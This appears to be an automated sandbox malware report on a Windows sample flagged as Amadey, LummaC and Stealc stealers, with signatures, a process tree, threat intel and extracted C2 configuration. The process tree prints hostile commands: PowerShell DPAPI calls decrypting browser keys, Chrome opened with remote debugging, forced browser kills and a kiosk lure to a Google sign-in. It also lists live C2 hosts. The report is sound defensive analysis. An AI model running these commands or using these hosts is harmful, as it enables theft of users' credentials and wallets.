Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1558080
MD5:	3ed69839f5dfe75f59a6e74815422ab9
SHA1:	7429dc7b9bcc0d3a5719f5b0b64626a5b9a9ef61
SHA256:	c0329dc59dde4e5ee3352e3c9e5df7c407dbef202aa1ac730be4be6a68857d15
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Ailurophile Stealer, Amadey, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Ailurophile Stealer

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to inject threads in other processes

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found PHP interpreter

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Maps a DLL or memory area into another process

Modifies windows update settings

PE file contains section with special chars

PE file has a writeable .text section

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7336 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 3ED69839F5DFE75F59A6E74815422AB9)

skotes.exe (PID: 7536 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 3ED69839F5DFE75F59A6E74815422AB9)

skotes.exe (PID: 7544 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 3ED69839F5DFE75F59A6E74815422AB9)

skotes.exe (PID: 5544 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 3ED69839F5DFE75F59A6E74815422AB9)

Potwierdzenie.exe (PID: 7496 cmdline: "C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe" MD5: BB1C7286C327EAFC7CF6A21492CDFA0F)

conhost.exe (PID: 7352 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Potwierdzenie.exe (PID: 7572 cmdline: "C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe" -c "C:\Users\user\AppData\Local\Temp\1007251001\Data\php-cli.ini" "C:\Users\user\AppData\Local\Temp\1007251001\Data\v3lib.php" MD5: BB1C7286C327EAFC7CF6A21492CDFA0F)

cmd.exe (PID: 7648 cmdline: cmd.exe /s /c "wmic path win32_videocontroller get caption" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

WMIC.exe (PID: 7760 cmdline: wmic path win32_videocontroller get caption MD5: E2DE6500DE1148C7F6027AD50AC8B891)

cmd.exe (PID: 7564 cmdline: cmd.exe /s /c "tasklist" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

tasklist.exe (PID: 7676 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

cmd.exe (PID: 3052 cmdline: cmd.exe /s /c "wmic os get Caption" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

WMIC.exe (PID: 7820 cmdline: wmic os get Caption MD5: E2DE6500DE1148C7F6027AD50AC8B891)

cmd.exe (PID: 1516 cmdline: cmd.exe /s /c "wmic os get Version" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

WMIC.exe (PID: 7880 cmdline: wmic os get Version MD5: E2DE6500DE1148C7F6027AD50AC8B891)

cmd.exe (PID: 5252 cmdline: cmd.exe /s /c "powershell.exe -Command "Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope Process; Add-Type -AssemblyName System.Security; $decryptedKey = [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,162,223,64,66,67,235,252,176,134,0,234,34,88,190,96,79,120,163,57,223,70,184,59,55,251,103,80,66,213,41,79,203,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,65,3,137,251,132,67,165,117,37,32,77,156,77,25,114,22,240,181,235,103,91,102,117,255,144,36,92,249,151,253,60,75,48,0,0,0,43,225,223,217,151,30,78,184,8,140,233,239,111,191,100,251,188,228,105,81,245,79,114,215,91,96,112,252,70,126,43,40,253,217,123,23,241,100,8,207,153,67,107,184,161,113,210,62,64,0,0,0,16,48,146,16,208,228,76,223,250,118,61,199,169,142,18,65,154,30,229,124,35,149,206,81,42,123,202,212,101,122,75,162,189,113,249,192,143,80,146,46,12,170,101,4,63,156,140,201,97,222,242,144,253,193,232,162,242,114,34,110,102,135,201,250), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser); $decryptedKeyString = [System.BitConverter]::ToString($decryptedKey) -replace '-', ''; Write-Output $decryptedKeyString"" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

powershell.exe (PID: 2724 cmdline: powershell.exe -Command "Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope Process; Add-Type -AssemblyName System.Security; $decryptedKey = [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,162,223,64,66,67,235,252,176,134,0,234,34,88,190,96,79,120,163,57,223,70,184,59,55,251,103,80,66,213,41,79,203,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,65,3,137,251,132,67,165,117,37,32,77,156,77,25,114,22,240,181,235,103,91,102,117,255,144,36,92,249,151,253,60,75,48,0,0,0,43,225,223,217,151,30,78,184,8,140,233,239,111,191,100,251,188,228,105,81,245,79,114,215,91,96,112,252,70,126,43,40,253,217,123,23,241,100,8,207,153,67,107,184,161,113,210,62,64,0,0,0,16,48,146,16,208,228,76,223,250,118,61,199,169,142,18,65,154,30,229,124,35,149,206,81,42,123,202,212,101,122,75,162,189,113,249,192,143,80,146,46,12,170,101,4,63,156,140,201,97,222,242,144,253,193,232,162,242,114,34,110,102,135,201,250), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser); $decryptedKeyString = [System.BitConverter]::ToString($decryptedKey) -replace '-', ''; Write-Output $decryptedKeyString" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cmd.exe (PID: 5796 cmdline: cmd.exe /s /c "powershell.exe -Command "Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope Process; Add-Type -AssemblyName System.Security; $decryptedKey = [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,177,111,46,150,212,157,15,4,228,252,12,0,1,183,251,108,66,54,253,189,23,124,86,207,222,56,201,250,182,152,221,247,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,178,13,225,93,214,215,151,162,72,143,194,133,190,22,214,149,170,149,74,147,55,106,15,180,131,73,196,197,128,118,103,89,48,0,0,0,94,206,242,8,29,35,27,71,101,58,135,55,188,69,108,246,46,232,119,93,65,217,99,7,252,165,33,164,119,40,187,209,190,181,221,12,22,110,211,109,137,129,98,159,150,234,140,244,64,0,0,0,160,185,210,147,25,143,46,73,184,87,79,38,71,228,189,220,249,51,245,132,106,162,213,227,45,47,24,171,45,48,70,50,96,105,2,105,84,9,7,23,200,91,89,93,224,1,154,41,99,254,68,168,144,46,197,126,233,182,158,66,11,216,163,157), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser); $decryptedKeyString = [System.BitConverter]::ToString($decryptedKey) -replace '-', ''; Write-Output $decryptedKeyString"" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

powershell.exe (PID: 4904 cmdline: powershell.exe -Command "Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope Process; Add-Type -AssemblyName System.Security; $decryptedKey = [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,177,111,46,150,212,157,15,4,228,252,12,0,1,183,251,108,66,54,253,189,23,124,86,207,222,56,201,250,182,152,221,247,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,178,13,225,93,214,215,151,162,72,143,194,133,190,22,214,149,170,149,74,147,55,106,15,180,131,73,196,197,128,118,103,89,48,0,0,0,94,206,242,8,29,35,27,71,101,58,135,55,188,69,108,246,46,232,119,93,65,217,99,7,252,165,33,164,119,40,187,209,190,181,221,12,22,110,211,109,137,129,98,159,150,234,140,244,64,0,0,0,160,185,210,147,25,143,46,73,184,87,79,38,71,228,189,220,249,51,245,132,106,162,213,227,45,47,24,171,45,48,70,50,96,105,2,105,84,9,7,23,200,91,89,93,224,1,154,41,99,254,68,168,144,46,197,126,233,182,158,66,11,216,163,157), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser); $decryptedKeyString = [System.BitConverter]::ToString($decryptedKey) -replace '-', ''; Write-Output $decryptedKeyString" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cmd.exe (PID: 7324 cmdline: cmd.exe /s /c "tasklist" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

tasklist.exe (PID: 980 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

d84bd44db0.exe (PID: 4412 cmdline: "C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe" MD5: 2FE3E392BFB10C6FAFD7B69F59323458)

4dfaa8fc03.exe (PID: 1228 cmdline: "C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe" MD5: 1D1CA9438CB800E982544370F38762F8)

chrome.exe (PID: 6368 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7452 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=2156,i,16863835686114324925,18332772798998799827,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 652 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=2156,i,16863835686114324925,18332772798998799827,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cmd.exe (PID: 7892 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsEBGCBAFCGD.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7680 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsEBGCBAFCGD.exe (PID: 8012 cmdline: "C:\Users\user\DocumentsEBGCBAFCGD.exe" MD5: 3ED69839F5DFE75F59A6E74815422AB9)

3c0b9f98b1.exe (PID: 676 cmdline: "C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe" MD5: 561515000D33C399C105AB2A75CA70DF)

taskkill.exe (PID: 3120 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2756 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 764 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1988 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3960 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5292 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2164 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5124 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4948 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1376 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 4888 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

7cda1b2e6f.exe (PID: 6292 cmdline: "C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe" MD5: B5C6CCFB197B8467AD678281DF44E8BC)

9774c44c62.exe (PID: 432 cmdline: "C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe" MD5: F1B25767284AA3DBB2EE4B14CF43AF3F)

firefox.exe (PID: 4584 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 2140 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 1360 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2288 -parentBuildID 20230927232528 -prefsHandle 2208 -prefMapHandle 2192 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {393e729a-11a2-4646-ac3b-aeb91fc0d01a} 2140 "\\.\pipe\gecko-crash-server-pipe.2140" 1177876bd10 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7856 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4396 -parentBuildID 20230927232528 -prefsHandle 4388 -prefMapHandle 4384 -prefsLen 26309 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {bcff1d1b-3b14-4d89-bd67-a8febfb9574e} 2140 "\\.\pipe\gecko-crash-server-pipe.2140" 1170a9fb510 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

d84bd44db0.exe (PID: 5084 cmdline: "C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe" MD5: 2FE3E392BFB10C6FAFD7B69F59323458)

svchost.exe (PID: 5964 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

4dfaa8fc03.exe (PID: 5232 cmdline: "C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe" MD5: 1D1CA9438CB800E982544370F38762F8)

3c0b9f98b1.exe (PID: 4152 cmdline: "C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe" MD5: 561515000D33C399C105AB2A75CA70DF)

taskkill.exe (PID: 5976 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 644 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7972 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6040 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3328 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7924 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2252 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

7cda1b2e6f.exe (PID: 8056 cmdline: "C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe" MD5: B5C6CCFB197B8467AD678281DF44E8BC)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: LummaC

{"C2 url": ["processhol.sbs", "p10tgrace.sbs", "p3ar11fter.sbs", "peepburry828.sbs", "3xp3cts1aim.sbs"], "Build id": "LOGS11--LiveTraffic"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1745890738.00000000004D1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000A.00000003.2828850245.000000000FBC1000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_AilurophileStealer_1	Yara detected Ailurophile Stealer	Joe Security
0000000A.00000003.2856294797.000000000EAA8000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_AilurophileStealer_1	Yara detected Ailurophile Stealer	Joe Security
0000000A.00000003.2856294797.000000000EAA8000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000031.00000003.2844747377.0000000004C40000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000A.00000003.2856294797.000000000EA71000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_AilurophileStealer_1	Yara detected Ailurophile Stealer	Joe Security
00000001.00000003.1727594316.0000000004F00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000D.00000003.2649534745.0000000001572000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1703908483.0000000004A60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000002.1769295516.0000000000631000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000D.00000003.2631428706.0000000001572000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000003.2684878745.0000000001572000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000003.2667211525.0000000001572000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000003.2828850245.000000000FBFB000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_AilurophileStealer_1	Yara detected Ailurophile Stealer	Joe Security
00000002.00000003.1727866482.0000000004820000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000D.00000003.2695091818.0000000001579000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000003.2631317036.0000000001572000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000003.2695219696.0000000001580000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000003.2650399453.0000000001576000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000003.2650733206.0000000001572000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000003.2650990619.0000000001576000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000014.00000003.2654277078.0000000004EC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000D.00000003.2650206313.0000000001572000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000003.2684565440.0000000001572000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000003.2667053318.0000000001572000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.1767868110.0000000000631000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000003.2312022895.0000000004E40000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: Potwierdzenie.exe PID: 7572	JoeSecurity_AilurophileStealer_1	Yara detected Ailurophile Stealer	Joe Security
Process Memory Space: Potwierdzenie.exe PID: 7572	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: d84bd44db0.exe PID: 4412	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: d84bd44db0.exe PID: 4412	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: d84bd44db0.exe PID: 4412	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 4dfaa8fc03.exe PID: 1228	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 4dfaa8fc03.exe PID: 1228	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 29 entries

Unpacked PEs

Source	Rule	Description	Author
1.2.skotes.exe.630000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.file.exe.4d0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.skotes.exe.630000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

